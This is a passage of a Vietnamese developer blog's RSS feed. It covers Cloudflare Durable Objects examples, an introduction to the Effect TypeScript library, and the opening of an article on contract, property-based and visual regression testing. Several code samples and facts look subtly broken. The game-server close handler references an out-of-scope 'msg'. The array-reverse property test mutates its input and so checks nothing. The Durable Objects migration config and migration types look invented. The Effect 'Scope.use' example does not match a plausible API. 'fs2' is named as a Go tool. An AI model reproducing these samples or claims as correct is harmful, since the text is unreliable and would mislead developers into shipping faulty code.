    switch (url.pathname) {
      case &apos;/increment&apos;:
        const count = (await this.storage.get&amp;#x3C;number&gt;(&apos;count&apos;)) || 0;
        await this.storage.put(&apos;count&apos;, count + 1);
        return Response.json({ count: count + 1 });

      case &apos;/get&apos;:
        const current = (await this.storage.get&amp;#x3C;number&gt;(&apos;count&apos;)) || 0;
        return Response.json({ count: current });

      case &apos;/reset&apos;:
        await this.storage.put(&apos;count&apos;, 0);
        return Response.json({ count: 0 });

      default:
        return new Response(&apos;Not found&apos;, { status: 404 });
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SQL Queries Với storage.sql&lt;/h2&gt;
&lt;p&gt;Dùng SQL trực tiếp với Durable Objects:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export class TodoApp extends DurableObject {
  async fetch(request: Request): Promise&amp;#x3C;Response&gt; {
    const sql = this.ctx.storage.sql;

    // Create table
    sql.exec(`
      CREATE TABLE IF NOT EXISTS todos (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        title TEXT NOT NULL,
        completed INTEGER DEFAULT 0
      )
    `);

    const url = new URL(request.url);

    // List
    if (request.method === &apos;GET&apos;) {
      const result = sql.exec(&apos;SELECT * FROM todos ORDER BY id DESC&apos;);
      return Response.json(result.toArray());
    }

    // Create
    if (request.method === &apos;POST&apos;) {
      const { title } = await request.json();
      const result = sql.exec(&apos;INSERT INTO todos (title) VALUES (?)&apos;, title);
      return Response.json({ id: result.lastRowId, title, completed: false }, { status: 201 });
    }

    // Update
    if (request.method === &apos;PUT&apos;) {
      const { id, completed } = await request.json();
      sql.exec(&apos;UPDATE todos SET completed = ? WHERE id = ?&apos;, completed, id);
      return Response.json({ success: true });
    }

    // Delete
    if (request.method === &apos;DELETE&apos;) {
      const id = url.searchParams.get(&apos;id&apos;);
      sql.exec(&apos;DELETE FROM todos WHERE id = ?&apos;, id);
      return Response.json({ success: true });
    }

    return new Response(&apos;Method not allowed&apos;, { status: 405 });
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Alarm — Cron Cho DO&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export class Reminder extends DurableObject {
  constructor(ctx: DurableObjectState, env: Env) {
    super(ctx, env);
    ctx.blockConcurrencyWhile(async () =&gt; {
      const alarm = await ctx.storage.getAlarm();
      if (alarm) {
        console.log(&apos;Recovered alarm:&apos;, new Date(alarm).toISOString());
      }
    });
  }

  async fetch(request: Request): Promise&amp;#x3C;Response&gt; {
    const url = new URL(request.url);
    const delayMs = parseInt(url.searchParams.get(&apos;delay&apos;) || &apos;5000&apos;);

    // Set alarm sau delayMs
    await this.ctx.storage.setAlarm(Date.now() + delayMs);

    return Response.json({ message: `Alarm set for ${delayMs}ms` });
  }

  async alarm() {
    // Được gọi khi alarm hết giờ
    console.log(&apos;⏰ Alarm fired!&apos;);

    // Gửi notification qua WebSocket nếu có
    // Hoặc call webhook
    await fetch(&apos;https://hooks.example.com/notify&apos;, {
      method: &apos;POST&apos;,
      body: JSON.stringify({ event: &apos;alarm_fired&apos;, time: Date.now() }),
    });

    // Set alarm lại nếu cần
    await this.ctx.storage.setAlarm(Date.now() + 3600000);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Multiplayer Game Server&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;interface Player {
  id: string;
  x: number;
  y: number;
  score: number;
}

export class GameRoom extends DurableObject {
  private players = new Map&amp;#x3C;string, WebSocket&gt;();
  private state: Player[] = [];

  async fetch(request: Request): Promise&amp;#x3C;Response&gt; {
    const pair = new WebSocketPair();
    const [client, server] = Object.values(pair);

    server.accept();

    server.addEventListener(&apos;message&apos;, (event) =&gt; {
      const msg = JSON.parse(event.data as string);

      switch (msg.type) {
        case &apos;join&apos;:
          this.players.set(msg.playerId, server);
          this.state.push({ id: msg.playerId, x: 0, y: 0, score: 0 });
          this.broadcast({ type: &apos;players&apos;, data: this.state });
          break;

        case &apos;move&apos;:
          const player = this.state.find(p =&gt; p.id === msg.playerId);
          if (player) {
            player.x += msg.dx;
            player.y += msg.dy;
            this.broadcast({ type: &apos;move&apos;, playerId: msg.playerId, x: player.x, y: player.y });
          }
          break;

        case &apos;shoot&apos;:
          this.broadcast({
            type: &apos;shoot&apos;,
            playerId: msg.playerId,
            x: msg.x,
            y: msg.y,
            angle: msg.angle,
          });
          break;
      }
    });

    server.addEventListener(&apos;close&apos;, () =&gt; {
      this.state = this.state.filter(p =&gt; !this.players.has(p.id));
      this.players.delete(msg.playerId);
      this.broadcast({ type: &apos;leave&apos;, playerId: msg.playerId });
    });

    return new Response(null, { status: 101, webSocket: client });
  }

  private broadcast(message: object) {
    const data = JSON.stringify(message);
    this.players.forEach((ws) =&gt; {
      if (ws.readyState === WebSocket.OPEN) {
        ws.send(data);
      }
    });
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Migration — Di Chuyển DO&lt;/h2&gt;
&lt;p&gt;DO có thể migrate giữa các region:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// wrangler.jsonc
{
  &quot;durable_objects&quot;: {
    &quot;bindings&quot;: [
      {
        &quot;name&quot;: &quot;COUNTER&quot;,
        &quot;class_name&quot;: &quot;Counter&quot;,
        &quot;migration&quot;: &quot;new_tag&quot;
      }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Migration types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;new_tag&lt;/code&gt; — Class mới&lt;/li&gt;
&lt;li&gt;&lt;code&gt;new_classes&lt;/code&gt; — Thêm nhiều class&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rename&lt;/code&gt; — Đổi tên class&lt;/li&gt;
&lt;li&gt;&lt;code&gt;transfer&lt;/code&gt; — Chuyển dữ liệu&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Pattern — Sharding&lt;/h2&gt;
&lt;p&gt;Một DO chỉ chạy ở một location. Để scale, shard theo key:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Shard user data theo userId
function getUserStub(userId: number, env: Env): DurableObjectStub {
  const shardId = Math.floor(userId / 1000); // 1000 user mỗi shard
  const id = env.USER_STORE.idFromName(`shard-${shardId}`);
  return env.USER_STORE.get(id);
}

// Handler
export default {
  async fetch(request: Request, env: Env): Promise&amp;#x3C;Response&gt; {
    const url = new URL(request.url);
    const userId = parseInt(url.searchParams.get(&apos;userId&apos;) || &apos;0&apos;);
    const stub = getUserStub(userId, env);
    return stub.fetch(request);
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Durable Objects giải quyết vấn đề state trong serverless:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Real-time — WebSocket với state central consistency&lt;/li&gt;
&lt;li&gt;Game server — multiplayer coordination&lt;/li&gt;
&lt;li&gt;Coordination — distributed lock, rate limiting&lt;/li&gt;
&lt;li&gt;SQLite storage — không cần DB riêng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kiến trúc: Workers stateless cho request thông thường, DO cho những gì cần state. Shard DO theo key để scale ngang.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/durable-objects/&quot;&gt;Cloudflare Durable Objects Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/durable-objects/examples/websocket-hibernation/&quot;&gt;Durable Objects — WebSocket Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/durable-objects/api/storage-api/&quot;&gt;Durable Objects — SQLite Storage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/durable-objects/api/alarms/&quot;&gt;Durable Objects — Alarms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/workers/&quot;&gt;Workers Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Effect - typed effects, error handling và concurrency</title><link>https://dopana-blog.pages.dev/blog/effect-typescript-hien-djai-voi-typed-effects-error-handling-va-concurrency</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/effect-typescript-hien-djai-voi-typed-effects-error-handling-va-concurrency</guid><description>Effect là thư viện TypeScript cho functional programming, xử lý lỗi có kiểu, quản lý dependency và concurrency — thay try/catch và Promise.</description><pubDate>Wed, 29 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Effect&lt;/strong&gt; (effect.website) là một thư viện TypeScript mạnh mẽ, mang typed effects, error handling có cấu trúc, quản lý dependency và concurrency vào hệ sinh thái TypeScript. Không giống như các thư viện functional programming khác, Effect được thiết kế để &lt;strong&gt;thay thế hoàn toàn&lt;/strong&gt; try/catch, Promise, và dependency injection truyền thống bằng một hệ thống thống nhất, type-safe.&lt;/p&gt;
&lt;h2&gt;Vấn đề với TypeScript thuần&lt;/h2&gt;
&lt;p&gt;TypeScript không có cơ chế native để:&lt;/p&gt;
&lt;p&gt;| Vấn đề | Cách xử lý hiện tại | Hạn chế |
|---|---|---|
| Lỗi có kiểu | &lt;code&gt;throw new Error()&lt;/code&gt; | Không biết kiểu lỗi ở call site |
| Dependency injection | Constructor injection, DI container | Không type-safe, runtime overhead |
| Tác vụ bất đồng bộ | &lt;code&gt;Promise&lt;/code&gt;, &lt;code&gt;async/await&lt;/code&gt; | Không cancel được, không compose |
| Tác vụ song song | &lt;code&gt;Promise.all()&lt;/code&gt; | Lỗi một → hỏng tất cả |
| Resource management | &lt;code&gt;try/finally&lt;/code&gt; | Dễ quên cleanup |&lt;/p&gt;
&lt;p&gt;Effect giải quyết tất cả những vấn đề này trong một framework duy nhất.&lt;/p&gt;
&lt;h2&gt;Core Concepts&lt;/h2&gt;
&lt;h3&gt;1. Effect — Đơn vị cơ bản&lt;/h3&gt;
&lt;p&gt;Effect là một mô tả type-safe của một tác vụ có thể thất bại. Bạn không chạy code ngay lập tức — bạn xây dựng một pipeline, sau đó run nó:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Effect } from &apos;effect&apos;

// Một effect thành công (never fails)
const success: Effect.Effect&amp;#x3C;number, never, never&gt; = Effect.succeed(42)

// Một effect có thể thất bại
const fail: Effect.Effect&amp;#x3C;number, string, never&gt; = Effect.fail(&apos;Something went wrong&apos;)

// Run effect
const result = await Effect.runPromise(success)
console.log(result) // 42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chữ ký type &lt;code&gt;Effect&amp;#x3C;Success, Error, Requirements&gt;&lt;/code&gt; cho bạn biết:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Success&lt;/strong&gt;: kiểu trả về khi thành công&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error&lt;/strong&gt;: kiểu lỗi có thể xảy ra&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Requirements&lt;/strong&gt;: dependencies cần thiết&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Error Handling có kiểu&lt;/h3&gt;
&lt;p&gt;Không còn &lt;code&gt;catch (e: unknown)&lt;/code&gt; nữa:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Effect } from &apos;effect&apos;

class NetworkError {
  readonly _tag = &apos;NetworkError&apos;
  constructor(readonly status: number) {}
}

class ValidationError {
  readonly _tag = &apos;ValidationError&apos;
  constructor(readonly field: string) {}
}

// TypeScript biết chính xác error type
type ApiError = NetworkError | ValidationError

const fetchUser: Effect.Effect&amp;#x3C;User, ApiError, never&gt; = Effect.gen(function* () {
  const response = yield* fetch(&apos;/api/user&apos;)
  if (response.status === 404) {
    return yield* Effect.fail(new NetworkError(404))
  }
  return yield* Effect.succeed(await response.json())
})

// Pattern matching trên errors
const handled = fetchUser.pipe(
  Effect.catchTag(&apos;NetworkError&apos;, (err) =&gt;
    Effect.succeed({ id: 0, name: &apos;fallback&apos; })
  ),
  Effect.catchTag(&apos;ValidationError&apos;, (err) =&gt;
    Effect.fail(`Invalid field: ${err.field}`)
  )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Dependency Injection type-safe&lt;/h3&gt;
&lt;p&gt;Effect quản lý dependencies thông qua &lt;strong&gt;Layer&lt;/strong&gt; và &lt;strong&gt;Context&lt;/strong&gt; — không runtime, không global state:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Effect, Layer, Context } from &apos;effect&apos;

// 1. Định nghĩa service tag
class Database extends Context.Tag(&apos;Database&apos;)&amp;#x3C;
  Database,
  { query: (sql: string) =&gt; Effect.Effect&amp;#x3C;unknown[], Error, never&gt; }
&gt;() {}

// 2. Implement layer
const DatabaseLive = Layer.succeed(Database, {
  query: (sql) =&gt; Effect.succeed([{ id: 1, name: &apos;test&apos; }])
})

// 3. Sử dụng — Effect biết cần Database
const program = Database.pipe(
  Effect.flatMap((db) =&gt; db.query(&apos;SELECT * FROM users&apos;))
)
// Type: Effect&amp;#x3C;unknown[], Error, Database&gt; ⬅️ cần Database

// 4. Inject dependency
const runnable = Effect.provide(program, DatabaseLive)
const result = await Effect.runPromise(runnable)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Concurrency &amp;#x26; Fibers&lt;/h3&gt;
&lt;p&gt;Effect có hệ thống &lt;strong&gt;Fiber&lt;/strong&gt; riêng — lightweight threads có thể cancel, fork, và join:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Effect, Fiber } from &apos;effect&apos;

// Fork — chạy song song
const task1 = Effect.succeed(&apos;Task 1&apos;).pipe(Effect.delay(&apos;1 second&apos;))
const task2 = Effect.succeed(&apos;Task 2&apos;).pipe(Effect.delay(&apos;2 seconds&apos;))

// Race — lấy kết quả nhanh nhất
const winner = Effect.raceAll([task1, task2])

// Fork/Join — chạy song song, đợi tất cả
const fiber = yield* Effect.fork(task1)
const result = yield* Fiber.join(fiber)

// Timeout — tự động fail nếu quá lâu
const withTimeout = task1.pipe(Effect.timeout(&apos;500 millis&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Scoped Resources&lt;/h3&gt;
&lt;p&gt;Quản lý resource tự động — không lo quên &lt;code&gt;close()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Effect, Scope } from &apos;effect&apos;

const openFile = (path: string): Effect.Effect&amp;#x3C;FileHandle, Error, Scope&gt; =&gt;
  Effect.acquireRelease(
    Effect.sync(() =&gt; fs.openSync(path)), // acquire
    (file) =&gt; Effect.sync(() =&gt; fs.closeSync(file)) // release
  )

// Scope tự động close khi kết thúc
const content = yield* Scope.use(
  Effect.scope,
  (scope) =&gt; openFile(&apos;data.txt&apos;).pipe(
    Effect.flatMap((file) =&gt; readFileContent(file))
  )
)
// File đã được close tự động
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6. Streams&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Stream&lt;/strong&gt; là phiên bản có kiểu của Observable/AsyncIterable:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Stream, Sink, Effect } from &apos;effect&apos;

const numbers = Stream.iterate(0, (n) =&gt; n + 1).pipe(
  Stream.take(5),
  Stream.map((n) =&gt; n * 2)
)

// Collect thành array
const result = await Effect.runPromise(
  Stream.runCollect(numbers)
)
// [0, 2, 4, 6, 8]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ecosystem&lt;/h2&gt;
&lt;p&gt;Effect có một hệ sinh thái đang phát triển nhanh:&lt;/p&gt;
&lt;p&gt;| Package | Mục đích |
|---|---|
| &lt;code&gt;effect/Schema&lt;/code&gt; | Schema validation &amp;#x26; marshalling (thay thế Zod) |
| &lt;code&gt;effect/Platform&lt;/code&gt; | File system, path, streams platform APIs |
| &lt;code&gt;@effect/sql&lt;/code&gt; | SQL database access (Postgres, SQLite, MySQL) |
| &lt;code&gt;@effect/rpc&lt;/code&gt; | RPC framework với type-safe protocols |
| &lt;code&gt;@effect/cluster&lt;/code&gt; | Distributed computing cluster |
| &lt;code&gt;@effect/opentelemetry&lt;/code&gt; | OpenTelemetry observability |
| &lt;code&gt;effect/Cron&lt;/code&gt; | Cron job scheduling |&lt;/p&gt;
&lt;h2&gt;Effect vs các giải pháp khác&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | try/catch | Promise | Zod | fp-ts | Effect |
|---|---|---|---|---|---|
| Error type-safe | ❌ | ❌ | ❌ | ✅ | ✅ |
| Dependency injection | ❌ | ❌ | ❌ | ❌ | ✅ |
| Cancellation | ❌ | ❌ | ❌ | ❌ | ✅ |
| Resource safety | ❌ | ❌ | ❌ | ❌ | ✅ |
| Concurrency | ❌ | ❌ | ❌ | ❌ | ✅ |
| Streaming | ❌ | ❌ | ❌ | ❌ | ✅ |
| Schema validation | ❌ | ❌ | ✅ | ❌ | ✅ |&lt;/p&gt;
&lt;h2&gt;Effect trong thực tế&lt;/h2&gt;
&lt;h3&gt;Alchemy — Infrastructure as Code&lt;/h3&gt;
&lt;p&gt;Alchemy (alchemy.run) sử dụng Effect làm nền tảng để định nghĩa và quản lý cloud infrastructure. Effect cho phép xử lý lỗi mạng, retry, và resource lifecycle một cách an toàn:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Effect } from &apos;effect&apos;

// Effect xử lý retry khi API call thất bại
const provision = Effect.retry(
  cloudflare.createBucket(&apos;my-bucket&apos;),
  { times: 3, delay: &apos;1 second&apos; }
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Web Framework — effect-http&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { HttpServer, HttpRouter, HttpMiddleware } from &apos;@effect/platform&apos;
import { BunHttpServer } from &apos;@effect/platform-bun&apos;

const app = HttpRouter.empty.pipe(
  HttpRouter.get(&apos;/&apos;,
    Effect.succeed(new Response(&apos;Hello, Effect!&apos;))
  ),
  HttpRouter.get(&apos;/users/:id&apos;,
    (req) =&gt; fetchUser(req.params.id).pipe(
      Effect.map((user) =&gt; Response.json(user)),
      Effect.catchTag(&apos;NetworkError&apos;, () =&gt;
        Effect.succeed(new Response(&apos;Not found&apos;, { status: 404 }))
      )
    )
  )
)

BunHttpServer.serve(app).pipe(
  Effect.runPromise
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bắt đầu với Effect&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;# Tạo project
mkdir my-effect-app &amp;#x26;&amp;#x26; cd my-effect-app
npm init -y
npm install effect @effect/platform @effect/platform-bun
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { Effect, Console } from &apos;effect&apos;

const program = Effect.gen(function* () {
  const name = yield* Effect.succeed(&apos;World&apos;)
  yield* Console.log(`Hello, ${name}!`)
  return name
})

Effect.runPromise(program).then(console.log)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết luận&lt;/h2&gt;
&lt;p&gt;Effect không chỉ là một thư viện — nó là một &lt;strong&gt;cách tiếp cận mới&lt;/strong&gt; để viết TypeScript. Với hệ thống kiểu mạnh mẽ, error handling có cấu trúc, và quản lý dependency type-safe, Effect giúp bạn viết code đáng tin cậy hơn, dễ maintain hơn, và dễ test hơn.&lt;/p&gt;
&lt;p&gt;Nếu bạn muốn đưa TypeScript lên một tầm cao mới, Effect là công cụ đáng đầu tư thời gian nhất hiện nay.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Link:&lt;/strong&gt; &lt;a href=&quot;https://effect.website/&quot;&gt;effect.website&lt;/a&gt; &lt;br&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href=&quot;https://github.com/Effect-TS/effect&quot;&gt;github.com/Effect-TS/effect&lt;/a&gt; &lt;br&gt;
&lt;strong&gt;Discord:&lt;/strong&gt; &lt;a href=&quot;https://discord.gg/effect-ts&quot;&gt;discord.gg/effect-ts&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Testing Nâng Cao: Contract, Visual, Property &amp; Hơn Thế Nữa</title><link>https://dopana-blog.pages.dev/blog/testing-nang-cao-contract-visual-property</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/testing-nang-cao-contract-visual-property</guid><description>Khám phá các chiến lược testing vượt xa unit test: contract testing, property-based testing, visual regression, mutation testing và nhiều hơn nữa.</description><pubDate>Wed, 29 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Unit test, integration test, E2E test là nền tảng — nhưng đó mới chỉ là khởi đầu.&lt;/p&gt;
&lt;p&gt;Khi ứng dụng phát triển, bạn sẽ đối mặt với những câu hỏi khó hơn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Làm sao đảm bảo API contract giữa microservices không bị phá vỡ?&lt;/li&gt;
&lt;li&gt;Làm sao phát hiện UI bị vỡ layout sau khi refactor CSS?&lt;/li&gt;
&lt;li&gt;Làm sao tìm ra edge case mà không cần nghĩ trước?&lt;/li&gt;
&lt;li&gt;Làm sao biết test suite của bạn có chất lượng?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bài viết này giới thiệu 6 chiến lược testing nâng cao — mỗi strategy giải quyết một vấn đề mà unit test truyền thống không làm tốt.&lt;/p&gt;
&lt;h2&gt;1. Contract Testing — Bảo Vệ API Boundary&lt;/h2&gt;
&lt;h3&gt;Vấn đề&lt;/h3&gt;
&lt;p&gt;Microservices giao tiếp qua API. Một service thay đổi response format → service khác parse sai → sập.&lt;/p&gt;
&lt;p&gt;Integration test có thể phát hiện, nhưng chạy chậm và cần infrastructure. E2E test phát hiện được nhưng lại quá muộn trong pipeline.&lt;/p&gt;
&lt;h3&gt;Giải pháp: Consumer-Driven Contract (CDC)&lt;/h3&gt;
&lt;p&gt;Contract testing kiểm tra rằng consumer và provider thống nhất về format dữ liệu — mà không cần chạy service thật.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Consumer: Tôi mong đợi response như thế này
// Dùng Pact framework

func Test_UserService_GetUser(t *testing.T) {
    // Định nghĩa contract: consumer mong đợi
    pact.
        AddInteraction().
        Given(&quot;User exists&quot;).
        UponReceiving(&quot;A request for user 1&quot;).
        WithRequest(request{
            Method: &quot;GET&quot;,
            Path:   &quot;/users/1&quot;,
        }).
        WillRespondWith(response{
            Status: 200,
            Body:   map[string]any{&quot;id&quot;: 1, &quot;name&quot;: &quot;Alice&quot;},
        })

    // Test consumer với mock provider
    // Nếu consumer parse sai → test fail
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ở phía provider:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Provider: Tôi đảm bảo API thỏa mãn contract
// Chạy Pact verification trong CI

func Test_UserHandler_VerifyPact(t *testing.T) {
    pact.Verify(t, func() error {
        // Start server thật hoặc in-memory
        router := setupRouter()
        return http.ListenAndServe(&quot;:8000&quot;, router)
    })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Khi nào dùng&lt;/h3&gt;
&lt;p&gt;| Nên dùng | Không nên dùng |
|---|---|
| Microservices của team khác | Monolith |
| API public/third-party | Internal function call |
| Nhiều consumer khác nhau | 1-2 services, ít thay đổi |&lt;/p&gt;
&lt;h3&gt;Công cụ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Pact — Chuẩn thực tế cho CDC, hỗ trợ Go, JS, Rust, Python, Java&lt;/li&gt;
&lt;li&gt;Spring Cloud Contract — Cho JVM ecosystem&lt;/li&gt;
&lt;li&gt;Hoverfly — Mock HTTP dạng contract&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Property-Based Testing — Để Machine Tìm Bug&lt;/h2&gt;
&lt;h3&gt;Vấn đề&lt;/h3&gt;
&lt;p&gt;Bạn viết unit test cho 5-10 trường hợp. Nhưng production có hàng nghìn biến thể. Edge case nào đó bạn không nghĩ tới → bug.&lt;/p&gt;
&lt;h3&gt;Giải pháp: Kiểm tra tính chất, không kiểm tra giá trị&lt;/h3&gt;
&lt;p&gt;Thay vì assert giá trị cụ thể, bạn định nghĩa property (tính chất) mà function phải thỏa mãn với mọi input hợp lệ.&lt;/p&gt;
&lt;p&gt;Framework sẽ sinh hàng loạt input ngẫu nhiên để kiểm tra.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import fc from &apos;fast-check&apos;

// Property: reverse(reverse(arr)) === arr
test(&apos;reverse is idempotent&apos;, () =&gt; {
  fc.assert(
    fc.property(fc.array(fc.anything()), (arr) =&gt; {
      expect(arr.reverse().reverse()).toEqual(arr)
    })
  )
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Property: parse và stringify luôn bảo toàn dữ liệu
test(&apos;parse and stringify are inverses&apos;, () =&gt; {
  fc.assert(
    fc.property(fc.object(), (obj) =&gt; {
      const json = JSON.stringify(obj)
      const parsed = JSON.parse(json)
      expect(parsed).toEqual(obj)
    })
  )
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Property: sort luôn trả về mảng có thứ tự
test(&apos;sort returns ordered array&apos;, () =&gt; {
  fc.assert(
    fc.property(fc.array(fc.integer()), (arr) =&gt; {
      const sorted = [...arr].sort((a, b) =&gt; a - b)
      for (let i = 1; i &amp;#x3C; sorted.length; i++) {
        expect(sorted[i - 1]).toBeLessThanOrEqual(sorted[i])
      }
    })
  )
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mỗi lần chạy, &lt;code&gt;fast-check&lt;/code&gt; sinh 100 input ngẫu nhiên. Nếu có lỗi, nó thu nhỏ (shrink) input về trường hợp tối thiểu để reproduce:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Error: Property failed after 42 tests
Counterexample: [NaN, 1, -0, 1e308]
Shrink result: [NaN]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Khi nào dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Function thuần túy (pure) — cùng input → cùng output&lt;/li&gt;
&lt;li&gt;Thuật toán (sort, search, crypto, encode/decode)&lt;/li&gt;
&lt;li&gt;Parser, validator, serializer&lt;/li&gt;
&lt;li&gt;Business logic có nhiều edge case&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Công cụ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;fast-check (JS/TS) — Sinh test, shrink, custom arbitraries&lt;/li&gt;
&lt;li&gt;QuickCheck (Haskell) — Ông tổ của property-based testing&lt;/li&gt;
&lt;li&gt;Proptest (Rust) — Mạnh mẽ, integration với cargo-test&lt;/li&gt;
&lt;li&gt;Hypothesis (Python) — Tính năng tương đương fast-check&lt;/li&gt;
&lt;li&gt;fs2 (Go) — Property testing cho Go, nhẹ và đơn giản&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Visual Regression Testing — Mắt Thứ Ba Cho UI&lt;/h2&gt;
&lt;h3&gt;Vấn đề&lt;/h3&gt;
&lt;p&gt;Bạn sửa CSS, thay đổi component — layout, màu sắc, spacing, font bị vỡ ở đâu đó. Unit test không phát hiện. Manual testing bỏ sót.&lt;/p&gt;
&lt;h3&gt;Giải pháp: So sánh ảnh UI tự động&lt;/h3&gt;
&lt;p&gt;Chụp screenshot, so sánh pixel-by-pixel với baseline, báo diff nếu khác.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Playwright Visual Comparison
import { test, expect } from &apos;@playwright/test&apos;

test(&apos;homepage matches snapshot&apos;, async ({ page }) =&gt; {
  await page.goto(&apos;/&apos;)
  await expect(page).toHaveScreenshot(&apos;homepage.png&apos;, {
    maxDiffPixels: 100, // cho phép sai khác tối đa 100px
    threshold: 0.2,     // pixel diff threshold
  })
})

test(&apos;login form renders correctly&apos;, async ({ page }) =&gt; {
  await page.goto(&apos;/login&apos;)
  const form = page.locator(&apos;.login-form&apos;)
  await expect(form).toHaveScreenshot(&apos;login-form.png&apos;)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi có thay đổi UI:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chạy test
npx playwright test

# Nếu snapshot fail, kiểm tra diff
npx playwright show-report
# → Xem ảnh: baseline | actual | diff
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Quy trình làm việc với snapshot&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Feature branch
     ↓
Chạy visual test
     ↓
Snapshot fail (có sự khác biệt)
     ↓
┌─ Nếu là thay đổi mong muốn ───────┐
│ Update snapshot → commit          │
└───────────────────────────────────┘
┌─ Nếu là lỗi ──────────────────────┐
│ Fix code → chạy lại test          │
└───────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
